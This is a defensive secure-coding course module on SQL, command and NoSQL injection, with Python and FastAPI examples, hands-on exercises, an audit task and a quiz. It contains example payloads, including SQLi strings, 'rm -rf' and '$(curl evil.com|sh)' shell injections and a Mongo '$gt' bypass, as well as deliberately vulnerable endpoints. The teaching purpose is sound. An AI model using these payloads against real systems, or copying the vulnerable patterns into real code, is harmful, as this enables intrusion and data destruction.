Module 01: Injection Attacks
Why this matters
Injection has been at or near the top of every OWASP list for two decades, and
it's still where catastrophic breaches come from — because it turns a single
unescaped input into full control of your database or your server. The
mechanism is brutally simple: your code builds a command (a SQL query, a shell
command, a database filter) by gluing strings together, and some of those
strings came from the user. The interpreter on the other end can't tell which
characters you meant as code and which the user meant as data — so an
attacker sends data that the interpreter reads as code. One '; DROP TABLE users; -- in the wrong place and the query the interpreter runs is not the
query you wrote.
This is module 00's trust-boundary model at its sharpest: untrusted input crossing into an interpreter. The reason this matters so much is the payoff — SQL injection can dump every password hash, every email, every credit-card token in your database (and modern SQLi often escalates to running OS commands on the DB host); command injection is instant remote code execution. The good news, and the through-line of this whole module: the entire class has one root cause and therefore one real fix. Learn the fix once and you close SQL, command, and NoSQL injection together. The rest is recognizing the shapes.
Concepts
The one root cause: mixing code and data on the same channel
Every injection vulnerability is the same bug wearing different clothes. You send an interpreter a string that is supposed to be part code (structure you wrote) and part data (values from the user), on a single channel, and you trust the interpreter to figure out where one ends and the other begins. It can't — so it parses attacker-supplied data as structure.
# The bug, in its purest form: user input concatenated into a command string.
query = "SELECT * FROM users WHERE name = '" + user_input + "'"
# ^^^^^^^^^^^^ data glued into code
If user_input is alice, the query is fine. If it's ' OR '1'='1, the query
becomes SELECT * FROM users WHERE name = '' OR '1'='1' — always true, returns
every user. The interpreter did exactly what the string told it to; the string
just wasn't the one you thought you wrote.
The fix, universally: send code and data on separate channels so the interpreter never has to guess. For SQL that's parameterized queries (a.k.a. prepared statements): you send the query with placeholders and the values separately, and the driver guarantees the values are only ever treated as data — never parsed as SQL. For shell commands it's passing an argument vector instead of a shell string. For NoSQL it's passing typed query objects instead of interpolated strings. Same principle every time: never build a command by concatenating untrusted input.
Concatenated — ONE channel: Parameterized — TWO channels:
"…name = '" + input + "'" query: "…name = ?" ◄─ code only
│ value: input ◄─ data only
▼ │
interpreter sees code+data mixed driver binds value as data; the SQL
→ "' OR '1'='1" parsed as SQL parser never re-reads it as structure
SQL injection — the canonical case
SQL injection (SQLi) is injection into a SQL query. The classic demonstrations:
- Authentication bypass.
WHERE user='$u' AND pass='$p'withu = admin'--becomesWHERE user='admin'--' AND pass='...'— the--comments out the password check, logging you in as admin with no password. - Data exfiltration via
UNION. AppendingUNION SELECT credit_card, cvv FROM paymentsto a vulnerableSELECTsplices another table's rows into the results the app happily renders. - Blind SQLi. Even when the app shows no query output, an attacker infers
data one bit at a time from behavioral differences — a boolean that changes
the page (
AND 1=1vsAND 1=2) or a time delay (AND SLEEP(5)) that reveals whether a condition was true. Slow, fully automatable (sqlmap), and just as total. - Escalation. On many databases SQLi reaches beyond data — writing files, calling stored procedures, and on misconfigured setups executing OS commands on the DB host. "It's just a search box" is how the whole company leaks.
The fix is parameterized queries — every mainstream driver supports them, and they're both safer and faster (the DB caches the query plan):
# VULNERABLE — f-string builds the SQL from user input
cur.execute(f"SELECT * FROM users WHERE email = '{email}'")
# FIXED — placeholder + separate values tuple; driver treats email as pure data
cur.execute("SELECT * FROM users WHERE email = %s", (email,))
# ^^ psycopg/pymysql; sqlite3 uses ?
The placeholder value is never parsed as SQL — feed it ' OR '1'='1 and the
driver looks for a user whose email is literally the string ' OR '1'='1, finds
none, done. The attack simply has nowhere to land.
Command injection — from web request to shell
Command injection is injection into an OS shell. It appears whenever you
build a shell command string from user input — the "let me just call
ImageMagick/ffmpeg/ping with the user's value" trap:
import os, subprocess
host = request.query_params["host"]
# VULNERABLE — user input in a shell string; shell metacharacters are live
os.system(f"ping -c 1 {host}")
subprocess.run(f"ping -c 1 {host}", shell=True) # same bug: shell=True
With host = 8.8.8.8; rm -rf / --no-preserve-root (or $(curl evil.com|sh),
or ; cat /etc/passwd), the shell runs your ping and then the attacker's
command — this is direct remote code execution, the worst outcome on the list.
The ;, |, &&, $(), and backticks are all shell metacharacters the shell
interprets as structure.
The fix mirrors SQL: don't invoke a shell, and pass arguments as a list so the OS treats each element as one literal argument, never as shell syntax:
# FIXED — no shell; argv list; `host` can never be more than one argument
subprocess.run(["ping", "-c", "1", host], shell=False, timeout=5)
With the list form there is no shell to interpret ; or $() — host is
handed to ping as a single opaque argument. (Better still for ping-style
needs: avoid shelling out at all and use a library. And always validate that
host looks like a hostname/IP too — defense in depth.)
shell=True: "ping -c 1 " + host argv list: ["ping","-c","1", host]
host = "8.8.8.8; rm -rf /" host = "8.8.8.8; rm -rf /"
└► shell reads ; | $() as syntax └► one literal arg handed to ping
ping runs, THEN rm runs → RCE ping just fails: no such host
NoSQL injection — same disease, different query language
"We use MongoDB, so no SQL injection" is a dangerous non-sequitur. NoSQL databases have their own query languages, and building queries from untrusted input is just as exploitable — often easier, because the input is frequently JSON that maps directly onto query operators. The classic MongoDB authentication bypass:
# VULNERABLE — the request body (JSON) is passed straight into the query
creds = await request.json() # attacker sends {"user":"admin","pass":{"$gt":""}}
user = db.users.find_one({"username": creds["user"], "password": creds["pass"]})
The attacker sends {"$gt": ""} where a password string was expected. Mongo
reads {"password": {"$gt": ""}} as "password greater than empty string" —
true for everyone — and logs them in as admin. No quotes, no --, just a query
operator smuggled in as data. Other operators ($ne, $regex,
$where with JS) extend the attack.
Fixes: enforce types before querying (a password must be a str, not a
dict — Pydantic/schema validation rejects {"$gt": ""} outright), and use query
builders/ODMs that treat values as values. NoSQL injection is really "you let
untrusted structured input become your query structure" — validate the shape,
and cast values to the types you expect.
ORMs as mitigation — helpful, not magic
An ORM (SQLAlchemy, Django ORM, etc.) parameterizes queries for you: when you
write session.query(User).filter(User.email == email), the ORM emits a
placeholder and binds email as data. Used normally, an ORM makes the common
case safe by default — a real reason to prefer them. But an ORM is not an
injection force field:
- The moment you drop to raw SQL (
session.execute(text(...)),.raw(),.extra()), you're back to manual parameterization — and people reflexively f-string it. - Some ORM surfaces pass strings through to SQL: dynamic
order_by/ column names built from user input (order_by(text(user_column))),filterwith raw SQL fragments. Identifiers (table/column names) can't be parameterized — placeholders only bind values — so dynamic identifiers must be allowlisted, never interpolated.
# VULNERABLE even inside an ORM — raw SQL with an f-string
session.execute(text(f"SELECT * FROM users WHERE email = '{email}'"))
# FIXED — bound parameter
session.execute(text("SELECT * FROM users WHERE email = :email"), {"email": email})
# Column/identifier from user input can't be a placeholder → ALLOWLIST it
SORTABLE = {"name", "created_at", "email"} # the only legal values
col = user_sort if user_sort in SORTABLE else "created_at" # never interpolate raw
The takeaway: parameterize values everywhere, allowlist identifiers, and don't assume "we use an ORM" ends the conversation.
Validation is a useful layer, but not the fix
Input validation (rejecting weird characters, length caps, type checks) is
worthwhile defense in depth and it's how you stop NoSQL operator smuggling — but
it is not the primary fix for SQL/command injection, and treating it as such
is a classic mistake. Blocklisting "dangerous characters" (stripping quotes,
banning ;) is a losing game: encodings, alternate syntaxes, and cases you
didn't think of slip through, and legitimate data (the name O'Brien, a
password with a quote) breaks. The robust fix is structural — separate code
from data (parameterize) so the input's content can't change the command's
structure. Validate for correctness and as an extra layer; parameterize for
security.
Command reference
| Pattern | Purpose | Snippet |
|---|---|---|
| Parameterized query (DB-API) | kill SQLi — values as data | cur.execute("... WHERE id=%s", (id,)) |
| sqlite placeholder | same, stdlib | cur.execute("... WHERE id=?", (id,)) |
text() + bound params |
safe raw SQL in SQLAlchemy | execute(text("...:x"), {"x": v}) |
| ORM filter | auto-parameterized | query(User).filter(User.id == id) |
| Identifier allowlist | column/table from user input | col = c if c in ALLOWED else default |
subprocess.run([...], shell=False) |
kill command injection | argv list, no shell |
| Pydantic typed model | reject NoSQL operator smuggling | password: str rejects {"$gt":""} |
| Least-privilege DB user | limit blast radius | app user can't DROP/read other schemas |
A FastAPI endpoint doing all three safely — the module in one snippet:
import subprocess
from fastapi import APIRouter, HTTPException
from pydantic import BaseModel
from sqlalchemy import text
router = APIRouter()
SORTABLE = {"name", "created_at"} # identifier allowlist
class Login(BaseModel):
username: str # typed → NoSQL operator smuggling can't fit
password: str
@router.post("/login")
def login(body: Login, sort: str = "created_at"):
col = sort if sort in SORTABLE else "created_at" # allowlist the identifier
row = db.execute( # parameterize the VALUE
text(f"SELECT id, pw_hash FROM users WHERE username = :u ORDER BY {col}"),
{"u": body.username},
).first()
# ... verify password hash (track 03) ...
@router.get("/diagnostics/ping")
def ping(host: str):
if not host.replace(".", "").isalnum(): # validate shape (defense in depth)
raise HTTPException(400, "bad host")
out = subprocess.run(["ping", "-c", "1", host], # argv list, no shell
capture_output=True, timeout=5, shell=False)
return {"ok": out.returncode == 0}
Hands-on exercises
Continue in sec-track. Use SQLite (stdlib sqlite3) or Postgres via
SQLAlchemy — both support placeholders. Seed a users table with a couple of
rows including a fake pw_hash and a secret column.
1. Build the vulnerable query and break it yourself
Write a /search?name= endpoint that runs
f"SELECT * FROM users WHERE name = '{name}'". Query it normally, then send
name=' OR '1'='1. Expected: the second request returns every row. You've
just performed SQL injection against your own app — internalize how little it
took.
2. Authentication bypass with a comment
Add a login query f"SELECT * FROM users WHERE user='{u}' AND pass='{p}'".
Log in as a normal user, then send u=admin'-- with any password. Expected:
you're "logged in" as admin because -- commented out the password check.
3. Fix it with parameterization, then re-attack
Rewrite both queries with placeholders and a values tuple/dict. Replay the
exact attacks from exercises 1 and 2. Expected: ' OR '1'='1 now returns no
rows (there's no user literally named that), and admin'-- fails — the payloads
have nowhere to land because they're treated as data, not SQL.
4. Exfiltrate with UNION (then watch parameterization stop it)
On the vulnerable /search, craft a UNION SELECT payload that pulls the
secret column into the visible results (match the column count/types). Confirm
you can read data the endpoint never meant to expose. Then confirm the
parameterized version makes the UNION payload inert. Expected: you understand
SQLi reads arbitrary tables, not just the intended one.
5. Command injection to RCE, then the argv fix
Write the vulnerable subprocess.run(f"ping -c 1 {host}", shell=True) endpoint.
Send host=127.0.0.1; id (or ; whoami) and observe your extra command run.
Now rewrite it as subprocess.run(["ping","-c","1",host], shell=False) and
replay. Expected: the injected ; id runs in the vulnerable version and is
treated as a literal (failed) hostname argument in the fixed one.
6. NoSQL operator smuggling (or simulate it)
If you have MongoDB, build the vulnerable find_one({"username": u, "password": p}) login and send {"password": {"$gt": ""}} to bypass it. No Mongo? Simulate
the exact bug: accept a raw dict body and build any query from it, then fix it by
declaring a Pydantic model with username: str, password: str. Expected: the
typed model rejects the {"$gt": ""} payload with a 422 before it can become a
query operator.
7. Find the injection an ORM didn't save you from
Take a SQLAlchemy (or Django) query and introduce a user-controlled
order_by/column via string interpolation (order_by(text(user_col))). Inject a
payload through it. Then fix it with an identifier allowlist. Expected: proof
that "we use an ORM" is not a complete defense — dynamic identifiers still need
allowlisting because placeholders bind values, not identifiers.
8. Least-privilege blast radius
Create a DB user for the app that can only SELECT/INSERT/UPDATE on its own
tables — not DROP, not read other schemas. Re-run a destructive injection
attempt (e.g. a DROP TABLE payload) through the still-vulnerable endpoint.
Expected: the injection "succeeds" syntactically but the DB rejects the
privileged action — demonstrating defense in depth limits damage even when the
primary control fails.
9. Diagnose and fix: the reporting endpoint
Audit this endpoint for every injection issue and fix them all.
@app.get("/report")
def report(request):
table = request.query_params["table"] # e.g. "orders"
status = request.query_params["status"] # e.g. "shipped"
fmt = request.query_params["fmt"] # e.g. "csv"
rows = cur.execute(
f"SELECT * FROM {table} WHERE status = '{status}'"
).fetchall()
os.system(f"convert-report --out /tmp/report.{fmt}")
return {"rows": rows}
Solution
Three separate injections. (1) status value is f-stringed into SQL →
classic SQLi; fix with a placeholder: ... WHERE status = :status,
{"status": status}. (2) table is an identifier, which cannot be
parameterized (placeholders bind values, not table names) → an f-string here is
still SQLi (table = users; -- etc.); fix with an allowlist:
if table not in {"orders","invoices"}: raise HTTPException(400). (3)
os.system(f"...{fmt}") is command injection (fmt=csv; rm -rf ~) → drop
the shell entirely: subprocess.run(["convert-report","--out",f"/tmp/report.{fmt}"], shell=False) and allowlist fmt to {"csv","pdf"} since it lands in a
filename. Corrected shape: allowlist the identifier and the format, parameterize
the value, never invoke a shell. (Bonus: run the query as a least-privilege DB
user so even a missed injection can't DROP.)
Independent challenge
No code given. Take an endpoint from sec-track (or build a /products/search
that filters by category, sorts by a user-chosen column, and paginates) and make
it injection-proof end to end while it still does everything dynamically:
a user-supplied value filter (parameterize), a user-chosen sort column and
direction (allowlist — identifiers can't be placeholders), and a
user-controlled page size (validate/cast to a bounded int). Then add one
endpoint that must shell out to an external tool and make that injection-proof
(argv list, no shell, validated inputs). Finally, apply module 00's trust-
boundary lens: write a short note naming, for each input, which interpreter it
reaches and which technique neutralizes it there — and explain why input
validation alone would not have been a sufficient fix for the value filter.
Hint
The distinction that makes or breaks this challenge is value vs identifier.
Placeholders/bind parameters only ever protect values (the things in a
WHERE x = ?); a table name, column name, or sort direction is part of the
query's structure and the driver won't let you bind it — so the only safe way
to make those dynamic is to map user input to a fixed allowlist of known-
good literals and interpolate only the allowlisted result, never the raw input.
For why validation alone is insufficient on the value filter: a blocklist of
"bad characters" is bypassable (encodings, cases you missed) and breaks
legitimate data like the name O'Brien — parameterization is structural, so
the input's content can never alter the command's structure regardless of what
characters it contains.
Common mistakes & troubleshooting
- Building any command by concatenating/f-stringing untrusted input. The root cause of the entire class. Parameterize values; allowlist identifiers; pass argv lists to subprocess.
- Assuming an ORM makes you injection-proof. Raw SQL (
text(),.raw()), dynamicorder_by/column names, and raw filter fragments all re-open the door. Parameterize and allowlist even inside an ORM. - Trying to parameterize a table/column name. Placeholders bind values only. Dynamic identifiers must be allowlisted against a fixed set.
- Relying on input validation / character blocklists as the fix. Bypassable and breaks real data (O'Brien). Validation is defense in depth; structural separation (parameterize) is the fix.
shell=Trueoros.systemwith any user input. Direct RCE via shell metacharacters (;,|,$()). Usesubprocess.run([...], shell=False).- "We use NoSQL, so no injection." NoSQL query languages inject too —
operator smuggling (
{"$gt": ""}). Enforce types (Pydantic) so a password can't arrive as a query operator. - Running the app as a superuser DB account. Turns a small injection into
total loss. Grant least privilege so a missed bug can't
DROPor read other schemas.
Checkpoint quiz
Write down your answer to each question before expanding it — checking without attempting first is the single easiest way to fool yourself into thinking you've learned this.
- State the single root cause shared by SQL, command, and NoSQL injection, and the single structural fix.
- Why is a parameterized query safe against
' OR '1'='1where an f-stringed query is not — what does the driver do differently? - You need a user-controlled sort column. Why can't you parameterize it, and what do you do instead?
- Why is
subprocess.run(cmd, shell=True)dangerous with user input, and what's the fix? - Show the shape of a NoSQL authentication-bypass payload and explain why it works and how a typed model stops it.
- "We use an ORM, so we're safe from SQLi." Give two ways that's false.
- Why is input validation (blocklisting bad characters) not the primary fix for SQLi, and what is validation good for here?
Answers
- Root cause: untrusted data and command code travel on the same channel, so the interpreter parses attacker data as structure/code. Fix: separate code from data — parameterized queries for SQL, argv lists (no shell) for commands, typed query objects for NoSQL.
- The driver sends the query template (with a placeholder) and the value
separately; the value is bound as pure data and never parsed as SQL. So
' OR '1'='1becomes a search for a user literally named that string, which matches nothing — the payload can't alter the query's structure. - Placeholders bind values, not identifiers (table/column names are part of the query structure), so the driver won't parameterize a column name. Instead map the user input to a fixed allowlist of permitted column names and interpolate only the allowlisted literal.
shell=Trueruns the string through a shell that interprets metacharacters (;,|,$()), sohost; rm -rf /executes the attacker's command — RCE. Fix:subprocess.run(["ping","-c","1",host], shell=False)so each element is a literal argument and there's no shell to interpret metacharacters.{"username":"admin","password":{"$gt":""}}— the attacker sends a query operator where a string was expected; Mongo reads "password greater than empty string," true for all, bypassing the check. A Pydantic model withpassword: strrejects the dict with a 422 before it can become an operator.- (a) Dropping to raw SQL (
text(),.raw(),.extra()) re-introduces manual concatenation. (b) Dynamic identifiers (order_by/column names from user input) can't be parameterized and are often interpolated — still injectable. - Blocklisting characters is bypassable (encodings, alternate syntax, cases you missed) and breaks legitimate data (O'Brien, quotes in passwords). The real fix is structural (parameterize) so content can't change structure. Validation is good for correctness and as a defense-in-depth layer — and it's the actual fix for NoSQL operator smuggling (enforce types/shape).
Further reading & sources
- OWASP SQL Injection Prevention Cheat Sheet - the definitive guide to parameterization and identifier allowlisting.
- OWASP OS Command Injection Defense Cheat Sheet - why to avoid the shell and pass argv lists.
- OWASP Injection Prevention Cheat Sheet - the shared root cause and structural fix across all injection types.
- SQLAlchemy - Textual SQL and bound parameters - how
text()binds values safely and where raw SQL re-opens the door. - Python
subprocess- Security Considerations - the official warning onshell=Trueand passing argument sequences. - CWE-89: SQL Injection - the formal weakness definition (see also CWE-78 for OS command injection).
Next
02-xss-and-csrf — injection continues into the browser: cross-site scripting (XSS) is injection where the interpreter is the browser's HTML/JS parser instead of your database. Paired with CSRF, it's how attackers turn your own users' browsers against them. That module also carries this track's first cumulative review (modules 00-02), taken closed-book.